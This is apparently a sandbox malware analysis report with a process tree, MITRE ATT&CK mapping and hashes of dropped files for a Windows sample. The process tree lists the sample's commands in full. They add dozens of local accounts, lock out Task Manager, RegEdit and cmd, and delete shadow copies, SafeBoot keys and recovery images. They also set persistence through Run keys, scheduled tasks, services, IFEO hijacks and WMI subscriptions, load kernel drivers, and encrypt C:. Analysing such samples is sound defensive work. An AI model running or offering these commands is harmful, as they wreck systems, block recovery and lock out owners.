- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_35 w84JN7b7nH7x2j /add
  2⤵
  PID:600
- - C:\Windows\system32\net.exe
    net user opa_35 w84JN7b7nH7x2j /add
    3⤵
    PID:1628
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_35 w84JN7b7nH7x2j /add
      4⤵
      Creates a new local user account
      PID:5924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_36 GoaojDqA81K2 /add
  2⤵
  PID:2360
- - C:\Windows\system32\net.exe
    net user opa_36 GoaojDqA81K2 /add
    3⤵
    - Creates a new local user account
    PID:1272
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_36 GoaojDqA81K2 /add
      4⤵
      PID:2844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_37 AZ090shHR0PRw /add
  2⤵
  - Executes a command shell one-liner
  PID:4336
- - C:\Windows\system32\net.exe
    net user opa_37 AZ090shHR0PRw /add
    3⤵
    - Creates a new local user account
    PID:1276
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_37 AZ090shHR0PRw /add
      4⤵
      Creates a new local user account
      PID:5152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_38 crKE0p1Su2H9OP /add
  2⤵
  - Executes a command shell one-liner
  PID:5812
- - C:\Windows\system32\net.exe
    net user opa_38 crKE0p1Su2H9OP /add
    3⤵
    - Creates a new local user account
    PID:4136
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_38 crKE0p1Su2H9OP /add
      4⤵
      Creates a new local user account
      PID:568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_39 BOwGj3KuA7waU /add
  2⤵
  PID:1300
- - C:\Windows\system32\net.exe
    net user opa_39 BOwGj3KuA7waU /add
    3⤵
    PID:3168
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_39 BOwGj3KuA7waU /add
      4⤵
      Creates a new local user account
      PID:4920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_40 QU58tHcwdIxS /add
  2⤵
  PID:2996
- - C:\Windows\system32\net.exe
    net user opa_40 QU58tHcwdIxS /add
    3⤵
    PID:4036
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_40 QU58tHcwdIxS /add
      4⤵
      Creates a new local user account
      PID:4508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_41 m8CX4E9L4X2 /add
  2⤵
  PID:2920
- - C:\Windows\system32\net.exe
    net user opa_41 m8CX4E9L4X2 /add
    3⤵
    PID:3012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_41 m8CX4E9L4X2 /add
      4⤵
      Creates a new local user account
      PID:1040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_42 xZmyIwM2OBY7ot /add
  2⤵
  - Executes a command shell one-liner
  PID:4952
- - C:\Windows\system32\net.exe
    net user opa_42 xZmyIwM2OBY7ot /add
    3⤵
    - Creates a new local user account
    PID:5984
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_42 xZmyIwM2OBY7ot /add
      4⤵
      Creates a new local user account
      PID:3016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_43 J8IsunKpWzY3 /add
  2⤵
  - Executes a command shell one-liner
  PID:4108
- - C:\Windows\system32\net.exe
    net user opa_43 J8IsunKpWzY3 /add
    3⤵
    - Creates a new local user account
    PID:3292
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_43 J8IsunKpWzY3 /add
      4⤵
      Creates a new local user account
      PID:5024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_44 lQbdWQC0YsOrQ /add
  2⤵
  - Executes a command shell one-liner
  PID:2068
- - C:\Windows\system32\net.exe
    net user opa_44 lQbdWQC0YsOrQ /add
    3⤵
    - Creates a new local user account
    PID:4628
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_44 lQbdWQC0YsOrQ /add
      4⤵
      PID:4864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_45 6Krqudh968un9 /add
  2⤵
  - Executes a command shell one-liner
  PID:5296
- - C:\Windows\system32\net.exe
    net user opa_45 6Krqudh968un9 /add
    3⤵
    PID:4452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_45 6Krqudh968un9 /add
      4⤵
      Creates a new local user account
      PID:5368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_46 ALmaxVQwOZV /add
  2⤵
  PID:5624
- - C:\Windows\system32\net.exe
    net user opa_46 ALmaxVQwOZV /add
    3⤵
    - Creates a new local user account
    PID:5356
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_46 ALmaxVQwOZV /add
      4⤵
      PID:2040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_47 YQFEljm2UqHXOQ /add
  2⤵
  - Executes a command shell one-liner
  PID:4320
- - C:\Windows\system32\net.exe
    net user opa_47 YQFEljm2UqHXOQ /add
    3⤵
    - Creates a new local user account
    PID:1496
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_47 YQFEljm2UqHXOQ /add
      4⤵
      PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_48 TXm4Tjykae /add
  2⤵
  - Executes a command shell one-liner
  PID:4260
- - C:\Windows\system32\net.exe
    net user opa_48 TXm4Tjykae /add
    3⤵
    - Creates a new local user account
    PID:2700
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_48 TXm4Tjykae /add
      4⤵
      Creates a new local user account
      PID:3904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_49 36YuHaeINRpUW /add
  2⤵
  PID:4024
- - C:\Windows\system32\net.exe
    net user opa_49 36YuHaeINRpUW /add
    3⤵
    PID:2748
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_49 36YuHaeINRpUW /add
      4⤵
      PID:4324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_50 nPVjfYQxBWUF /add
  2⤵
  - Executes a command shell one-liner
  PID:3632
- - C:\Windows\system32\net.exe
    net user opa_50 nPVjfYQxBWUF /add
    3⤵
    - Creates a new local user account
    PID:4980
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_50 nPVjfYQxBWUF /add
      4⤵
      Creates a new local user account
      PID:4992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:5148
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:4908
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:260
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:4392
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:5064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:4656
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
    3⤵
    PID:4224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
    3⤵
    PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  - Executes a command shell one-liner
  PID:4460
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    PID:1444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f
  2⤵
  - Executes a command shell one-liner
  PID:4660
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f
    3⤵
    PID:4348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f
  2⤵
  - Executes a command shell one-liner
  PID:2676
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f
    3⤵
    PID:5068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  PID:4132
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:4104
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} description "System_Core"
  2⤵
  PID:4072
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} description "System_Core"
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:5952
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:3860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powercfg -h off
  2⤵
  - Power Settings
  PID:5036
- - C:\Windows\system32\powercfg.exe
    powercfg -h off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:5716
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\Recovery\winre.wim /a
  2⤵
  - Executes a command shell one-liner
  PID:3804
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Recovery\winre.wim /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\Recovery\winre.wim /grant administrators:F
  2⤵
  - Executes a command shell one-liner
  PID:1148
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Recovery\winre.wim /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q C:\Windows\System32\Recovery\winre.wim
  2⤵
  PID:1228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Recovery /r /d y
  2⤵
  - Executes a command shell one-liner
  PID:2836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Recovery /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Recovery /grant administrators:F /t
  2⤵
  PID:2600
- - C:\Windows\system32\icacls.exe
    icacls C:\Recovery /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Recovery\*winre.wim
  2⤵
  PID:2724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "%~f0" "C:\Windows\System32\conhost.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "%~f0" "C:\Windows\System32\syshost1.exe"
  2⤵
  PID:3264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "%~f0" "C:\Windows\System32\syshost2.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "%~f0" "C:\Windows\System32\syshost3.exe"
  2⤵
  PID:5312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WinHost1" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
  2⤵
  PID:3644
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WinHost1" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
    3⤵
    PID:5364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinHost2" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
  2⤵
  PID:688
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinHost2" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
    3⤵
    PID:4776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WinHost3" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:5640
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WinHost3" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
    3⤵
    PID:940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinHost4" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:5144
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinHost4" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
    3⤵
    PID:4156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "C:\Windows\System32\conhost.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
  2⤵
  - Executes a command shell one-liner
  PID:5684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 5 /tn "WindowsConsoleUpdate" /tr "C:\Windows\System32\conhost.exe" /ru "SYSTEM" /f
  2⤵
  - Executes a command shell one-liner
  PID:1516
- - C:\Windows\system32\schtasks.exe
    schtasks /create /sc minute /mo 5 /tn "WindowsConsoleUpdate" /tr "C:\Windows\System32\conhost.exe" /ru "SYSTEM" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create WinUpdateService binPath= "C:\Windows\System32\conhost.exe" type= own start= auto
  2⤵
  PID:4308
- - C:\Windows\system32\sc.exe
    sc create WinUpdateService binPath= "C:\Windows\System32\conhost.exe" type= own start= auto
    3⤵
    - Launches sc.exe
    PID:5000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start WinUpdateService
  2⤵
  PID:1576
- - C:\Windows\system32\sc.exe
    sc start WinUpdateService
    3⤵
    - Launches sc.exe
    PID:2760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\System32\syshost3.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:4180
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\System32\syshost3.exe" /f
    3⤵
    PID:5988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:1088
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
    3⤵
    PID:3856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\syshost1.exe" /f
  2⤵
  PID:5140
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\syshost1.exe" /f
    3⤵
    PID:4716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\syshost2.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:4312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\syshost2.exe" /f
    3⤵
    PID:2456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='WinEventFilter'; EventNamespace='root\cimv2'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \'Win32_PerfFormattedData_PerfOS_System\''}; $consumer = Set-WmiInstance -Namespace root\subscription -Class __CommandLineEventConsumer -Arguments @{Name='WinEventConsumer'; CommandLineTemplate='C:\Windows\System32\conhost.exe'}; Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}"
  2⤵
  - Executes a command shell one-liner
  PID:5776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='WinEventFilter'; EventNamespace='root\cimv2'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \'Win32_PerfFormattedData_PerfOS_System\''}; $consumer = Set-WmiInstance -Namespace root\subscription -Class __CommandLineEventConsumer -Arguments @{Name='WinEventConsumer'; CommandLineTemplate='C:\Windows\System32\conhost.exe'}; Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "bddff.sys" "C:\Windows\System32\drivers\bddff.sys"
  2⤵
  - Executes a command shell one-liner
  PID:2884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "abbaba.sys" "C:\Windows\System32\drivers\abbaba.sys"
  2⤵
  - Executes a command shell one-liner
  PID:4508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create bddff binPath= "C:\Windows\System32\drivers\bddff.sys" type= kernel start= auto
  2⤵
  PID:1508
- - C:\Windows\system32\sc.exe
    sc create bddff binPath= "C:\Windows\System32\drivers\bddff.sys" type= kernel start= auto
    3⤵
    - Launches sc.exe
    PID:4384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start bddff
  2⤵
  - Executes a command shell one-liner
  PID:2420
- - C:\Windows\system32\sc.exe
    sc start bddff
    3⤵
    - Launches sc.exe
    PID:2720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create abbaba binPath= "C:\Windows\System32\drivers\abbaba.sys" type= kernel start= auto
  2⤵
  - Executes a command shell one-liner
  PID:3016
- - C:\Windows\system32\sc.exe
    sc create abbaba binPath= "C:\Windows\System32\drivers\abbaba.sys" type= kernel start= auto
    3⤵
    - Launches sc.exe
    PID:5188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start abbaba
  2⤵
  - Executes a command shell one-liner
  PID:460
- - C:\Windows\system32\sc.exe
    sc start abbaba
    3⤵
    - Launches sc.exe
    PID:4076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\utilman.exe /a
  2⤵
  - Executes a command shell one-liner
  PID:4088
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\utilman.exe /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\utilman.exe /grant administrators:F
  2⤵
  - Executes a command shell one-liner
  PID:4956
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\utilman.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q C:\Windows\System32\utilman.exe
  2⤵
  PID:5368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Control Panel\Cursors" /v CursorBaseSize /t REG_DWORD /d 64 /f
  2⤵
  - Executes a command shell one-liner
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Control Panel\Cursors" /v CursorBaseSize /t REG_DWORD /d 64 /f
    3⤵
    PID:240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cipher /e /s:C:\
  2⤵
  - Executes a command shell one-liner
  PID:3260
- - C:\Windows\system32\cipher.exe
    cipher /e /s:C:\
    3⤵
    PID:5828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2772

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3320

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
PID:3068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:5272

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

update.exe

Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe
Size 1000KB
SHA256 0eb777256a7336e65607eb7ccb5772e37b7a4921c75ff1979af42c3b23ca679b
MD5 9a234da5a955dcecba6bb7f22ef2a34a
SHA1 b28ab7506c06e2e0f9553d342c757bf2f3833c74
SHA512 2678b91bd1803ef5aae051ef82594d6aa612e6a1f15390e2a675ff9f0c354dbceac095f69193ffb396bc5ac039164bf2454273c9230cadd0b9a1643ce522c6ad
SSDEEP 12288:CdzvLqUYZl4CG6925VKsDqM6daxNkSQOTzMuTpAu7i:GJG4z6g5oaidaxObVuSu7i
TLSH
T1E1258E6EA6AC01E5C57AD07CC5438A1AF6B03C56037197CB02E0866A7F2BBF85B3D751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 c5a47ea043d8ae5d393ee06780727c19d942ee8a0d4a623a8e15f35e00f47ea8
MD5 36a0edfa61161e4d1036dfd78fa5c0d8
SHA1 479db15ffea8da6e3f5907878427a01710bacd9e
SHA512 9bb32dd73b855c67cf5128d9a179c795760f676fc300d5f2ffb47d7d722b399c97e7fd56426c69905b7e48e232b36612daf8c5c8bab31e310f42f8604e255aa1
TLSH
T12F116633F3CC8624DC5A413610CEA82136B687CB40DECE6B7B84D154B42F685DF61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3516-18-0x00000224776D0000-0x00000224776F2000-memory.dmp

Download

memory/4120-13-0x00007FF69EAF0000-0x00007FF69ECBB000-memory.dmp

Download